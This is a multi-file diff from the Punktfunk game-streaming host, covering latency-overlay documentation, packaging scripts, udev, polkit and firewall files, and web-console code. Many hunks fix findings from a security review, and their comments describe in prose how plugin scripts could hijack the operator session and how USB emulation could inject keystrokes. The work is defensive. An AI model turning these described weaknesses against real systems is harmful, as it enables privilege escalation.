[Comparing with Moonlight / Sunshine](#comparing-with-moonlight--sunshine)), so we report
it rather than bury it in the total.
## The four measurement points
@@ -47,7 +54,7 @@ captured input, switch mouse mode, disconnect, mute the microphone — are in
lost). **Normal** adds the stream line and the p50/p95 headline. **Detailed** adds the per-stage
breakdown everywhere; on Linux/Windows it also adds the encoder's target bitrate, the decode path,
an HDR tag and a chroma tag, on Android the decoder plus the full codec/bit-depth/colour line, and
on iOS/tvOS the excluded OS present floor.
on iOS, tvOS and Android the excluded OS present floor.
You can also set the level a stream starts at in each client's
[Settings](/docs/client-settings#overlay). The examples below are the **Detailed** view.
@@ -68,14 +75,16 @@ present: mailbox
lost 3 (2.4%)
```
Android:
Android (headline and `display` both floor-shaved, like the Apple clients — the raw
end-to-end here is 30.9 ms, the 16.7 ms floor of a 120 Hz panel included):
```
1920×1080@120 120 fps 24.3 Mb/s
c2.qti.hevc.decoder · low-latency
HEVC · 10-bit · HDR (BT.2020 PQ) · 4:2:0
end-to-end 14.2 ms p50 · 19.8 p95 · capture→displayed
= host 3.1 + network 6.7 + decode 2.1 + display 2.3
= host 3.1 + network 6.7 + decode 2.1 + display 2.3 · presents 119
os present +16.7 excluded (display pipeline minimum)
lost 3 (2.4%) · skipped 1 · FEC 12
```
@@ -131,18 +140,22 @@ lost 3 (2.4%)
the screen's refresh cycle, not the stream; a large `pace` is us. (`pace` is also the
fair number to compare against an iPhone or iPad, whose figure already has its
equivalent of `latch` removed.)
- `os present` *(iOS and tvOS)* — the fixed depth of the OS present pipeline, which is
- `os present` *(iOS, tvOS and Android)* — the depth of the OS present pipeline, which is
excluded from both the headline and `display` and printed here so you can add it
back.
back. On Android it is the measured time SurfaceFlinger took to latch and scan out each
frame, so it moves with your panel's rate and with whatever low-latency mode the vendor
applied; on Apple it is measured from the display link's own lead.
- `client queue` *(Apple only)* — how long a received frame waited before the decoder
pulled it. It's the front part of `decode`, not time on top of it. Hidden below 2 ms;
a value that persists is a standing receive backlog on the client.
- `display X (pace A + latch B)` and `presents N` *(Android only)*when the timeline presenter
is running it splits `display` in two: `pace` is the wait it deliberately holds the frame for
its target refresh, `latch` is SurfaceFlinger picking it up and scanning it out. `presents`
counts the frames confirmed on glass this second — well below `fps` means the presenter is
dropping or serializing frames; an `fps` shortfall with `presents` keeping up is upstream of
the client.
- `presents N` *(Android only)*the frames confirmed on glass this second. Well below `fps`
means the presenter is dropping or serializing frames; an `fps` shortfall with `presents`
keeping up is upstream of the client.
- `display X (pace A + latch B)` *(Android, only when the floor couldn't be measured)* — with
the floor excluded, Android's `display` term is already just `pace` (the wait the presenter
deliberately holds a frame for its target refresh) and `latch` is what the `os present` line
reports. On the rare window where no latch sample pairs up, nothing is excluded and `display`
reverts to the raw figure with both halves shown.
Against an **older host** that doesn't report its share yet, the first two terms
merge into a single `host+network` number (`host+net` on Linux/Windows) — same total,
@@ -190,12 +203,13 @@ pretending:
| Windows, Linux | `capture→on-glass` | present instant available (measured right after the Vulkan swapchain present); published raw |
| macOS (Metal presenter) | `capture→on-glass` | present instant available (the system's on-glass time for the flip); published raw |
| iOS/tvOS (Metal presenter) | `capture→on-glass` | present instant available, but the OS present floor is **excluded** from the number and printed separately as `os present +X.X excluded` |
| Android | `capture→displayed` | MediaCodec's per-frame render callback reports SurfaceFlinger's render timestamp; on the rare window where no callback is delivered (the platform may drop them under load) the HUD falls back to `capture→decoded` |
| Android | `capture→displayed` | MediaCodec's per-frame render callback reports SurfaceFlinger's render timestamp, and the OS present floor measured from it is **excluded** from the number and printed separately as `os present +X.X excluded`; on the rare window where no callback is delivered (the platform may drop them under load) the HUD falls back to `capture→decoded` |
| macOS/iOS fallback presenter | `capture→received` | the system video layer hides decode and present timing entirely |
A shorter chain means the number is **smaller because it measures less** — check the
endpoint before comparing two devices, and add the excluded `os present` floor back to an
iOS or tvOS client's headline before holding it next to another platform's.
iOS, tvOS or Android client's headline before holding it next to a macOS, Linux or Windows
one.
## Comparing with Moonlight / Sunshine
@@ -235,8 +249,8 @@ stands in for a one-way frame flight that Moonlight doesn't measure.)
| `Frames dropped due to network jitter` | Decoded frames the *client's pacer* chose to drop ÷ decoded frames | `skipped` (line 4, Android only) | Approximately (both are client-side pacing decisions, despite Moonlight's name) |
| `Average network latency` | The **control connection's round-trip time** (ENet RTT + variance) — not video frame latency | `network` (line 3) is the closest concept, but it's the *actual one-way frame path* (flight + reassembly), not an RTT | **No direct comparison.** Roughly, Punktfunk's `network` ≈ ½ × an idle RTT plus serialization time of the frame |
| `Average decoding time` | Mean time from decoder enqueue to picture out | `decode` (p50) | Yes (mean vs median; both include decoder queueing) |
| `Average frame queue delay` | Mean time a decoded frame waits for its vsync slot | inside `display` | Sum the two Moonlight lines → |
| `Average rendering time (incl. V-sync latency)` | Mean duration of the present call | inside `display` | …and compare against Punktfunk's `display` |
| `Average frame queue delay` *(desktop only)* | Mean time a decoded frame waits for its vsync slot | inside `display` | Sum the two Moonlight lines → |
| `Average rendering time (incl. V-sync latency)` *(desktop only)* | Mean duration of the present call | inside `display` | …and compare against Punktfunk's `display` |
| *(no equivalent)* | — | `end-to-end` — true capture→glass, clock-skew-corrected across machines | **Punktfunk only** |
| *(no equivalent)* | — | `FEC` recovered shards (loss absorbed invisibly; Android only) | Punktfunk only |
@@ -250,6 +264,14 @@ Other differences worth knowing when squinting at both overlays side by side:
- **Host frame rate.** Moonlight's headline FPS estimates what the *host* produced
(received + lost). Punktfunk shows what your client actually received, and reports
loss separately.
- **On Android, Moonlight's numbers stop at the decoder.** The two lines above that cover
presentation are desktop-only: Moonlight's Android overlay measures nothing after the
decoder produces the picture, so no part of the wait for the screen appears anywhere in
it — and the popular Android forks measure the same slice. Its `Average decoding time` is
therefore comparable to Punktfunk's `decode`, and to nothing else; on Android there is no
Moonlight number that includes what your screen contributes. That asymmetry is why
Punktfunk excludes the `os present` floor on Android too, and why adding that floor back
is the right move when you want the whole truth rather than a like-for-like comparison.
## Recording a capture for a bug report
+12
View File
@@ -4,8 +4,17 @@ _ensure_update_group() {
getent group punktfunk-update >/dev/null 2>&1 || groupadd --system punktfunk-update 2>/dev/null || true
}
_ensure_punktfunk_group() {
# Owns the usbip vhci attach/detach nodes (60-punktfunk.rules). Separate from 'input' on
# purpose: writing 'attach' materialises an arbitrary emulated USB device, which is a root-only
# kernel primitive and must not ride on the group users are told to join for gamepads
# (security-review 2026-08-05 M-4).
getent group punktfunk >/dev/null 2>&1 || groupadd --system punktfunk 2>/dev/null || true
}
post_install() {
_ensure_update_group
_ensure_punktfunk_group
udevadm control --reload-rules 2>/dev/null || true
udevadm trigger --subsystem-match=misc 2>/dev/null || true
# Apply the UDP socket-buffer tuning now (also auto-applied at boot by systemd-sysctl).
@@ -14,6 +23,9 @@ post_install() {
punktfunk-host installed.
1. Add yourself to the 'input' group for virtual gamepads:
sudo usermod -aG input "$USER" # then re-login
Only if you want the virtual Steam Deck pad (usbip), ALSO join 'punktfunk':
sudo usermod -aG punktfunk "$USER"
That group can emulate arbitrary USB devices — join it only on a machine you trust.
2. Pick a backend config (gamescope is the no-desktop default on SteamOS/Deck):
mkdir -p ~/.config/punktfunk
cp /usr/share/punktfunk/host.env.bazzite ~/.config/punktfunk/host.env
+7
View File
@@ -289,6 +289,11 @@ set -e
if [ "$1" = "configure" ]; then
# The (empty) opt-in group for web-console-triggered updates — nobody is auto-added.
getent group punktfunk-update >/dev/null 2>&1 || addgroup --system punktfunk-update 2>/dev/null || true
# Owns the usbip vhci attach/detach nodes (60-punktfunk.rules). Deliberately NOT 'input':
# writing 'attach' materialises an arbitrary emulated USB device — a root-only kernel
# primitive that must not ride on the group users are told to join for gamepads
# (security-review 2026-08-05 M-4).
getent group punktfunk >/dev/null 2>&1 || addgroup --system punktfunk 2>/dev/null || true
# Pick up the /dev/uinput rule without a reboot (best-effort, no-op in containers).
udevadm control --reload-rules 2>/dev/null || true
udevadm trigger --subsystem-match=misc 2>/dev/null || true
@@ -296,6 +301,8 @@ if [ "$1" = "configure" ]; then
sysctl -p /usr/lib/sysctl.d/99-punktfunk-net.conf >/dev/null 2>&1 || true
echo "punktfunk-host installed. Add yourself to the 'input' group for virtual gamepads:"
echo " sudo usermod -aG input \"\$USER\" # then re-login"
echo "For the virtual Steam Deck pad (usbip) ALSO: sudo usermod -aG punktfunk \"\$USER\""
echo " — that group can emulate arbitrary USB devices; join it only on a machine you trust."
echo "Config: mkdir -p ~/.config/punktfunk && cp /usr/share/punktfunk-host/host.env.example ~/.config/punktfunk/host.env"
echo "Enable: systemctl --user enable --now punktfunk-host"
# Debian ships no active firewall and Ubuntu's ufw is inactive by default; hint whichever is present.
+10 -1
View File
@@ -6,7 +6,8 @@
Installed to /usr/lib/firewalld/services/ by the punktfunk-host package. NOT enabled automatically
(packages never touch the admin's firewall). Only useful if you installed the console (punktfunk-web)
AND want to reach it from another device on the LAN — the console binds all interfaces on TCP 47992
(HTTPS, login-gated). The streaming host itself does not need this open; enable it deliberately with
(HTTPS, login-gated), and serves plugin UIs from a SEPARATE ORIGIN on TCP 47993 (see below).
The streaming host itself does not need this open; enable it deliberately with
firewall-cmd (add-service=punktfunk-web, then reload). CachyOS/Ubuntu: use the ufw punktfunk-web
profile instead.
@@ -18,4 +19,12 @@
<short>Punktfunk web console</short>
<description>The optional punktfunk management web console (device pairing, status, GPU selection, performance graphs) over HTTPS. Open only if you run the punktfunk-web package and want the console reachable from other devices on the LAN.</description>
<port protocol="tcp" port="47992"/> <!-- HTTPS web console (login-gated) -->
<!--
Plugin UIs, on their OWN ORIGIN. Not a second console: a plugin's interface is third-party code,
and serving it on the console's origin let it act as the logged-in operator (security-review
2026-08-05 H-3). Same host, same certificate, different port — a different origin to the browser,
but still same-site, so the session cookie reaches it. Login-gated exactly like the console.
Only needed if you use plugins that ship a UI and want to reach them from another device.
-->
<port protocol="tcp" port="47993"/> <!-- HTTPS plugin UIs (login-gated, separate origin) -->
</service>
+10 -3
View File
@@ -36,8 +36,15 @@ ports=47984,47989,48010/tcp|47998:48010/udp|5353/udp
# Run the host with `--mgmt-bind 127.0.0.1:47990` to keep 47990 loopback-only (then don't open it).
#
# The optional web console (the separate punktfunk-web package). Open only if you installed it and
# want to reach it from another device — it binds all interfaces on TCP 47992 (HTTPS, login-gated).
# want to reach it from another device — it binds all interfaces on TCP 47992 (HTTPS, login-gated),
# and serves plugin UIs from a SEPARATE ORIGIN on TCP 47993.
#
# 47993 is not a second console. A plugin's interface is third-party code, and serving it on the
# console's own origin let it act as the logged-in operator (security-review 2026-08-05 H-3). Same
# host, same certificate, different port: a different ORIGIN to the browser, so the same-origin
# policy is the boundary — but still the same SITE, so the login session still reaches it. It is
# login-gated exactly like the console, and only needed for plugins that ship a UI.
[punktfunk-web]
title=punktfunk web console
description=The optional punktfunk management web console (HTTPS, login-gated) reachable from the LAN
ports=47992/tcp
description=The optional punktfunk management web console (HTTPS, login-gated) reachable from the LAN, plus the separate-origin port its plugin UIs are served on
ports=47992,47993/tcp
+10 -1
View File
@@ -555,6 +555,10 @@ update-desktop-database %{_datadir}/applications >/dev/null 2>&1 || :
%post
# The (empty) opt-in group for web-console-triggered updates — nobody is auto-added.
getent group punktfunk-update >/dev/null 2>&1 || groupadd --system punktfunk-update 2>/dev/null || :
# Owns the usbip vhci attach/detach nodes (60-punktfunk.rules). Deliberately NOT 'input': writing
# 'attach' materialises an arbitrary emulated USB device — a root-only kernel primitive that must
# not ride on the group users are told to join for gamepads (security-review 2026-08-05 M-4).
getent group punktfunk >/dev/null 2>&1 || groupadd --system punktfunk 2>/dev/null || :
# Reload udev so /dev/uinput picks up the new rule without a reboot (best-effort).
udevadm control --reload-rules 2>/dev/null || :
udevadm trigger --subsystem-match=misc 2>/dev/null || :
@@ -562,6 +566,8 @@ udevadm trigger --subsystem-match=misc 2>/dev/null || :
# it takes effect on the next boot into the layered deployment).
sysctl -p %{_prefix}/lib/sysctl.d/99-punktfunk-net.conf >/dev/null 2>&1 || :
echo "punktfunk installed. Add yourself to the 'input' group (sudo usermod -aG input \$USER)"
echo "For the virtual Steam Deck pad (usbip) ALSO: sudo usermod -aG punktfunk \$USER"
echo " that group can emulate arbitrary USB devices; join it only on a machine you trust."
echo "then enable the host: systemctl --user enable --now punktfunk-host"
echo "Config: cp %{_datadir}/%{name}/host.env.bazzite ~/.config/punktfunk/host.env"
# Fedora/RHEL run firewalld by default — point the way to the installed service definitions.
@@ -585,7 +591,10 @@ fi
echo "punktfunk-web installed. Enable the console for your user:"
echo " systemctl --user enable --now punktfunk-web"
echo "A login password is generated on first start read it with:"
echo " journalctl --user -u punktfunk-web-init | sed -n 's/.*password generated: //p'"
# From the 0600 file, NOT the journal: the journal is persistent and group-readable (adm /
# systemd-journal on Debian-family, and this hint was copied around), so telling people to fish a
# password out of it published the secret to every member of those groups (review 2026-08-05 L-18).
echo " cut -d= -f2- \${XDG_CONFIG_HOME:-\$HOME/.config}/punktfunk/web-password"
echo "Then open https://<host-ip>:47992"
%endif
+13 -2
View File
@@ -21,14 +21,25 @@ export const resolvePluginBase = (): string => {
export const useIsEmbedded = (): boolean =>
typeof window !== "undefined" && window.parent !== window;
/** Mirror a route into the console's address bar (best-effort, embedded only). */
/**
* Mirror a route into the console's address bar (best-effort, embedded only).
*
* The `"*"` target origin is load-bearing and must stay: the console frames plugin UIs from a
* DIFFERENT ORIGIN than its own (they get their own port, so a plugin cannot act as the logged-in
* operator security-review 2026-08-05 H-3). Narrowing this to `window.location.origin` would
* target the PLUGIN's origin, not the console's, and every message would be silently dropped.
*
* `"*"` is safe here because the payload is a route path the plugin itself just navigated to
* nothing secret and the console verifies `event.origin` against the plugin origin before acting
* on it, so the trust decision is made on the receiving side where it belongs.
*/
export const postNavigate = (path: string): void => {
try {
if (window.parent !== window) {
window.parent.postMessage({ type: "pf-ui:navigate", path }, "*");
}
} catch {
// cross-origin parent or detached — deep-link sync is best-effort
// detached parent — deep-link sync is best-effort
}
};
+1
View File
@@ -26,6 +26,7 @@ export type Artwork = typeof Artwork.Type;
* | `command` | a shell command (operator-trust tier) | both |
* | `steam_appid` | digits an appid, or a 64-bit non-Steam-shortcut game id | both |
* | `steam_ui` | `bigpicture` \| `desktop` opens the Steam client itself | both |
* | `launcher_ui` | a store id (`heroic`, `lutris`) opens that launcher's own UI | linux |
* | `lutris_id` | digits a pga.db game id | linux |
* | `heroic` | `<runner>:<appName>`, runner legendary/gog/nile | linux |
* | `epic` | `<namespace>:<catalogItemId>:<appName>` or a bare appName | windows |
+13 -3
View File
@@ -14,9 +14,19 @@ KERNEL=="uhid", SUBSYSTEM=="misc", OPTIONS+="static_node=uhid", GROUP="input", M
# usbip vhci attach/detach for the virtual Steam Deck controller. Steam Input only
# adopts the virtual Deck when it arrives as a USB device (usbip/vhci or raw_gadget);
# the UHID fallback has no USB interface and Steam ignores it. The sysfs attach files
# are root-only by default while the host runs as a user service — grant the `input`
# group write when vhci_hcd appears (module autoload: modules-load.d/punktfunk.conf).
ACTION=="add", SUBSYSTEM=="platform", KERNEL=="vhci_hcd.*", RUN+="/bin/sh -c 'chgrp input /sys%p/attach /sys%p/detach && chmod 0660 /sys%p/attach /sys%p/detach'"
# are root-only by default while the host runs as a user service — grant the dedicated
# `punktfunk` group write when vhci_hcd appears (module autoload: modules-load.d/punktfunk.conf).
#
# ⚠ This is deliberately NOT the `input` group (2026-08-05 review M-4). Writing `attach` hands the
# kernel a caller-supplied socket fd and materialises an arbitrary, fully userspace-emulated USB
# device — a root-only kernel primitive. Every packaging scriptlet tells the user to
# `usermod -aG input $USER` as step 1, so putting it on `input` handed that primitive to a group
# people are routinely told to join: a member could present a HID keyboard and inject keystrokes
# into a root TTY or the lock screen, or drive any of hundreds of in-tree USB drivers from
# userspace, all without CAP_SYS_ADMIN. The uinput/uhid grants above are already systemwide input
# injection, but neither reaches kernel USB enumeration — this one does, so it gets its own group
# that nothing else asks users to join.
ACTION=="add", SUBSYSTEM=="platform", KERNEL=="vhci_hcd.*", RUN+="/bin/sh -c 'chgrp punktfunk /sys%p/attach /sys%p/detach && chmod 0660 /sys%p/attach /sys%p/detach'"
# hidraw access for the VIRTUAL pads this host creates. Steam/SDL drive a DualSense's rich
# feedback (adaptive triggers, lightbar, player LEDs) exclusively over hidraw — the kernel has no
+13 -1
View File
@@ -52,7 +52,19 @@ fi
# it `kwin_wayland --virtual` brings up NO X server at all (no display reserved), and those apps die
# with "Missing X Server or $DISPLAY". KWin starts Xwayland on demand but reserves + logs the X11
# display up front, which the detection below reads.
KWIN_LOG="${TMPDIR:-/tmp}/punktfunk-kwin.log"
# The log lives in the per-user 0700 XDG_RUNTIME_DIR, not at a fixed name in a world-writable
# /tmp. This file is not just a log: the DISPLAY detection below GREPS it for "Using public X11
# display :N" and exports the result, so at a predictable path in a shared directory any local user
# could pre-create it (or symlink it) and steer the DISPLAY of a shipped systemd service
# (2026-08-05 review L-15). `pf-vdisplay` already resolves XDG_RUNTIME_DIR for its own paths; this
# matches. Without a runtime dir, fall back to a private mktemp rather than a guessable name.
if [[ -n "${XDG_RUNTIME_DIR:-}" && -d "${XDG_RUNTIME_DIR}" ]]; then
KWIN_LOG="${XDG_RUNTIME_DIR}/punktfunk-kwin.log"
: >"$KWIN_LOG"
chmod 600 "$KWIN_LOG"
else
KWIN_LOG="$(mktemp -t punktfunk-kwin.XXXXXXXX.log)"
fi
kwin_wayland --virtual --xwayland --width "$W" --height "$H" --no-lockscreen \
--socket "$WAYLAND_DISPLAY" >"$KWIN_LOG" 2>&1 &
KWIN_PID=$!
+8 -1
View File
@@ -11,7 +11,14 @@
grant is scoped to the box's own local-seat session lifecycle — the same class of operation
these distros already authorize for their session switcher (e.g. Nobara's
os-session-select, allow_any). allow_any because the host commonly runs sessionless (a
lingering user unit, no polkit agent), where interactive auth can never be answered. -->
lingering user unit, no polkit agent), where interactive auth can never be answered.
⚠ These defaults authorize every local subject — including a seatless ssh session or a
service account — so they are NOT the whole authorization story (2026-08-05 review L-14).
They cannot be tightened without breaking the lingering-user-unit deployment, which polkit
classifies under allow_any precisely because it has no session. The actual gate is in the
helper: pf-dm-helper refuses any caller whose PKEXEC_UID is not in the `punktfunk` group.
Keep the two in step — loosening the helper's check makes these defaults load-bearing. -->
<action id="io.unom.punktfunk.dm-helper">
<description>Stop or restore the display manager for a Punktfunk stream</description>
<message>Authentication is required to switch the display manager for a Punktfunk stream</message>
+35 -7
View File
@@ -13,6 +13,38 @@
# local-seat operation, not arbitrary unit management.
set -eu
# The polkit action has to stay permissive (`allow_any=yes`): the host commonly runs as a LINGERING
# user unit, which has no logind session at all, so polkit classifies it under `allow_any` and any
# stricter default would make the takeover unauthorizable in its primary deployment. The cost of
# that is that polkit alone authorizes *every* local subject — a seatless ssh session, a service
# account — to run this as root (2026-08-05 review L-14).
#
# So the authorization decision is made HERE instead, where the caller is knowable: pkexec sets
# PKEXEC_UID from the authenticated caller, and only a member of the `punktfunk` group (created by
# the packages) may proceed. That keeps the sessionless host working while making membership of one
# explicit group — not merely "has a local uid" — the thing that grants these verbs.
require_authorized_caller() {
uid=${PKEXEC_UID:-}
[ -n "$uid" ] || {
echo "pf-dm-helper: no PKEXEC_UID in the environment — refusing to run unauthenticated" >&2
exit 1
}
user=$(getent passwd "$uid" | cut -d: -f1) || user=
[ -n "$user" ] || {
echo "pf-dm-helper: PKEXEC_UID $uid resolves to no local user — refusing" >&2
exit 1
}
# `id -nG` lists the primary group too, so a user whose primary group IS punktfunk also passes.
for g in $(id -nG "$user" 2>/dev/null); do
[ "$g" = punktfunk ] && return 0
done
echo "pf-dm-helper: user '$user' is not in the 'punktfunk' group — refusing." >&2
echo " Grant it with: sudo usermod -aG punktfunk $user (then re-login)" >&2
exit 1
}
require_authorized_caller
dm_unit() {
target=$(readlink /etc/systemd/system/display-manager.service) || {
echo "pf-dm-helper: no display-manager.service alias — no display manager to manage" >&2
@@ -40,13 +72,9 @@ case "${1-}" in
# what breaks that dependency (the setup docs already ask for it).
#
# The user is NEVER caller-named: PKEXEC_UID is set by pkexec from the authenticated caller,
# so this grant enables lingering for that caller alone.
uid=${PKEXEC_UID:-}
[ -n "$uid" ] || {
echo "pf-dm-helper: no PKEXEC_UID in the environment — refusing to guess a user" >&2
exit 1
}
exec loginctl enable-linger "$uid"
# so this grant enables lingering for that caller alone. (Its presence is already checked by
# `require_authorized_caller` above, which also proved the caller is in the punktfunk group.)
exec loginctl enable-linger "${PKEXEC_UID}"
;;
*)
echo "usage: pf-dm-helper stop|restore|linger" >&2
+12 -1
View File
@@ -185,6 +185,11 @@ ok "plugin runner: ~/.local/bin/punktfunk-scripting"
# --- 3. config -------------------------------------------------------------
log "Configuration ($CONFIG)"
mkdir -p "$CONFIG"
# Owner-only: this directory holds web.env (console password + session secret), the mgmt token and
# the host key. A plain `mkdir -p` leaves it 0755 at the Deck's default umask, so the secrets below
# sat in a world-TRAVERSABLE directory (2026-08-05 review L-19). Matches what the host itself does
# via `pf_paths::create_private_dir`, and is idempotent on an existing dir.
chmod 700 "$CONFIG" 2>/dev/null || true
if [ ! -f "$CONFIG/host.env" ]; then
cat > "$CONFIG/host.env" <<'EOF'
# punktfunk Steam Deck host config (sourced by the punktfunk-host user service).
@@ -235,10 +240,16 @@ if [ "$WITH_WEB" = 1 ] && [ ! -f "$CONFIG/web.env" ]; then
# `|| true` swallows the SIGPIPE `tr` takes when `head` closes the pipe (pipefail would abort).
WEB_PW="$(LC_ALL=C tr -dc 'a-z0-9' </dev/urandom 2>/dev/null | head -c 12 || true)"
WEB_SECRET="$(LC_ALL=C tr -dc 'A-Za-z0-9' </dev/urandom 2>/dev/null | head -c 32 || true)"
cat > "$CONFIG/web.env" <<EOF
# `umask 077` around the redirect, not `chmod 600` after it: the heredoc CREATES the file at
# the ambient umask (0022 on a Deck ⇒ world-readable), so the console password and session
# secret existed group/world-readable for the window between the redirect and the chmod
# (2026-08-05 review L-19). Setting the mask first means the file is never readable at all.
# The chmod stays as the idempotent belt for a pre-existing file.
(umask 077; cat > "$CONFIG/web.env" <<EOF
PUNKTFUNK_UI_PASSWORD=$WEB_PW
PUNKTFUNK_UI_SECRET=$WEB_SECRET
EOF
)
chmod 600 "$CONFIG/web.env"
ok "wrote web.env (generated login password)"
else
+9 -2
View File
@@ -14,6 +14,13 @@ if [ ! -s "$PWFILE" ]; then
PW=$(head -c 18 /dev/urandom | base64 | tr -d '/+=' | cut -c1-20)
(umask 077; printf 'PUNKTFUNK_UI_PASSWORD=%s\n' "$PW" > "$PWFILE")
chmod 600 "$PWFILE" 2>/dev/null || true
echo "punktfunk web console login password generated: $PW"
echo "(stored in $PWFILE — open https://<host-ip>:47992 and log in)"
# Do NOT echo the password itself. Anything this script prints is captured by systemd into
# the PERSISTENT journal, which on Debian/Ubuntu is readable by the `adm` and
# `systemd-journal` groups — so printing it published a 0600 secret to every member of them,
# permanently, and the .deb postinst then documented `journalctl` as the way to read it
# (2026-08-05 review L-18). Point at the file instead: it is the same one command, it is
# correctly 0600, and it stays readable only by the user who owns the console.
echo "punktfunk web console login password generated."
echo "Read it with: cut -d= -f2- $PWFILE"
echo "(then open https://<host-ip>:47992 and log in)"
fi
+13
View File
@@ -44,3 +44,16 @@ PUNKTFUNK_UI_SECURE=1
# The Bun server binds these (standard Nitro env):
# PORT=47992
# HOST=0.0.0.0
# The port plugin UIs are served on — their OWN ORIGIN, not the console's. Defaults to PORT + 1.
#
# This is a security boundary, not a layout choice. A plugin's interface is third-party code; served
# on the console's origin it ran as first-party script with the operator's session and could drive
# the whole admin API (security-review 2026-08-05 H-3). Same host, same certificate, different port
# means a different ORIGIN to the browser (so the same-origin policy separates them) while staying
# the same SITE (so the SameSite=Lax session cookie still reaches it and plugin pages keep working).
#
# The console refuses to serve plugin UIs on its own origin, so if this port cannot be bound, plugin
# UIs are DISABLED rather than silently moved back — the console says so on the plugin page.
# Open it in the firewall alongside PORT if you reach the console from other devices.
# PUNKTFUNK_UI_PLUGIN_PORT=47993
+10 -1
View File
@@ -10,6 +10,11 @@
"nav_library": "Bibliothek",
"nav_plugins": "Plugins",
"plugin_offline_title": "Dieses Plugin läuft nicht",
"plugin_origin_untrusted_title": "Port dieses Plugins einmal bestätigen",
"plugin_origin_untrusted_hint": "Plugin-Oberflächen laufen auf einem eigenen Port, damit ein Plugin nicht in deinem Namen auf der Konsole handeln kann. Dein Browser vertraut dem Zertifikat dieses Hosts für den Konsolen-Port, aber noch nicht für diesen — und in einem Frame kann er nicht nachfragen. Öffne ihn einmal in einem Tab, bestätige das Zertifikat und komm zurück.",
"plugin_origin_untrusted_open": "In neuem Tab öffnen",
"plugin_origin_unavailable_title": "Plugin-Oberflächen sind nicht verfügbar",
"plugin_origin_unavailable_hint": "Plugin-Oberflächen laufen auf einem eigenen Port, damit ein Plugin nicht in deinem Namen auf der Konsole handeln kann. Dieser Port konnte nicht geöffnet werden, deshalb bleiben sie deaktiviert. Sieh ins Konsolen-Log, setze dann PUNKTFUNK_UI_PLUGIN_PORT auf einen freien Port und starte neu.",
"plugin_offline_hint": "Starte den Scripting-Runner und versuche es erneut.",
"plugin_retry": "Erneut versuchen",
"plugin_open_new_tab": "In neuem Tab öffnen",
@@ -270,6 +275,8 @@
"library_field_logo": "Logo-Bild-URL",
"library_field_command": "Startbefehl",
"library_field_command_help": "Optional. Der Befehl, mit dem der Host diesen Titel startet.",
"library_field_password": "Konsolen-Passwort",
"library_field_password_help": "Ein Startbefehl läuft auf dem Host mit deinen Rechten. Bestätige zum Speichern dein Konsolen-Passwort.",
"library_field_platform": "Plattform",
"library_field_platform_help": "Das System, auf dem dieser Titel läuft, z. B. PS2, Xbox 360, SNES, PC.",
"library_field_description": "Beschreibung",
@@ -594,5 +601,7 @@
"update_result_noop": "Deine Paketquelle hatte noch nichts Neueres — in ein paar Minuten erneut versuchen.",
"update_opt_in": "Um Ein-Klick-Updates von hier zu aktivieren, einmal auf dem Host ausführen (danach ab- und wieder anmelden):",
"update_result_failed": "Update auf {to} ist in Phase {stage} fehlgeschlagen.",
"update_result_log": "Installer-Log:"
"update_result_log": "Installer-Log:",
"library_field_role": "Dieser Eintrag öffnet einen Launcher",
"library_field_role_help": "Zeigt ihn in der Launcher-Reihe über deinen Spielen statt im Raster. Er startet und endet genauso wie sonst."
}
+10 -1
View File
@@ -54,6 +54,11 @@
"nav_more": "More",
"nav_plugins": "Plugins",
"plugin_offline_title": "This plugin isn't running",
"plugin_origin_untrusted_title": "Trust this plugin's port once",
"plugin_origin_untrusted_hint": "Plugin interfaces run on their own port so a plugin can't act as you on the console. Your browser trusts this host's certificate for the console's port but not yet for theirs, and it can't ask you inside a frame. Open it once in a tab, accept the certificate, then come back.",
"plugin_origin_untrusted_open": "Open in a new tab",
"plugin_origin_unavailable_title": "Plugin interfaces are unavailable",
"plugin_origin_unavailable_hint": "Plugin interfaces are served on their own port so a plugin can't act as you on the console. That port could not be opened, so they stay switched off. Check the console log, then set PUNKTFUNK_UI_PLUGIN_PORT to a free port and restart.",
"plugin_offline_hint": "Start the scripting runner, then retry.",
"plugin_retry": "Retry",
"plugin_open_new_tab": "Open in new tab",
@@ -270,6 +275,8 @@
"library_field_logo": "Logo art URL",
"library_field_command": "Launch command",
"library_field_command_help": "Optional. The command the host runs to launch this title.",
"library_field_password": "Console password",
"library_field_password_help": "A launch command runs on the host as you. Confirm your console password to save it.",
"library_field_platform": "Platform",
"library_field_platform_help": "The system this title runs on, e.g. PS2, Xbox 360, SNES, PC.",
"library_field_description": "Description",
@@ -594,5 +601,7 @@
"update_result_noop": "Your package source had nothing newer yet — try again in a few minutes.",
"update_opt_in": "To enable one-click updates from here, run this once on the host (then log out and back in):",
"update_result_failed": "Update to {to} failed during {stage}.",
"update_result_log": "Installer log:"
"update_result_log": "Installer log:",
"library_field_role": "This entry opens a launcher",
"library_field_role_help": "Shows it in the Launchers row above your games instead of in the grid. It still starts and stops the same way."
}
+80 -2
View File
@@ -14,10 +14,13 @@
// (a local CA installed per device) fronted by a server that speaks them (e.g. Caddy) — deliberately
// out of scope for a LAN console; TLS (no cleartext login/session) is the win.
//
// TWO LISTENERS, on purpose — see `PLUGIN ORIGIN` below.
//
// Env (set by the launchers / the systemd unit — see web.env.example):
// PUNKTFUNK_UI_TLS_CERT / _KEY PEM file paths (the host's cert.pem / key.pem). BOTH set ⇒ HTTPS.
// Unset ⇒ plain HTTP (local dev only).
// PORT / HOST standard Nitro bind (3000 / 0.0.0.0).
// PUNKTFUNK_UI_PLUGIN_PORT the plugin-UI origin's port (default: console port + 1).
import "#nitro-internal-pollyfills";
import wsAdapter from "crossws/adapters/bun";
import { useNitroApp } from "nitropack/runtime";
@@ -40,6 +43,37 @@ const ws = import.meta._websocket
// Read back by `peerAddress()` in server/util/auth.ts — keep the two names in sync.
const PEER_IP_HEADER = "x-pf-peer-ip";
// PLUGIN ORIGIN — which listener a request arrived on, stamped the same unforgeable way.
//
// A plugin's UI used to be reverse-proxied onto the CONSOLE's own origin and framed with
// `allow-same-origin`, which means plugin JS ran as first-party code on the console origin: it
// could `fetch('/api/**', {credentials:'same-origin'})` and the BFF would attach the operator's
// ADMIN mgmt bearer. That reached everything `plugin_may_access` withholds — arm pairing, read the
// host PIN, approve a device, read `/hooks` — i.e. any plugin was one line of JS away from full
// operator admin (2026-08-05 review H-3). The "open in new tab" link was the same escalation with
// no iframe involved at all, so no sandbox attribute could have fixed it.
//
// The fix is to make the browser's own same-origin policy the boundary, by serving plugin UIs from
// a DIFFERENT ORIGIN: a second listener on its own port.
//
// different ORIGIN — scheme+host+PORT — so SOP applies: plugin JS cannot read the console's DOM,
// and its cross-origin `fetch` of `/api/**` is unreadable (we emit no CORS) and
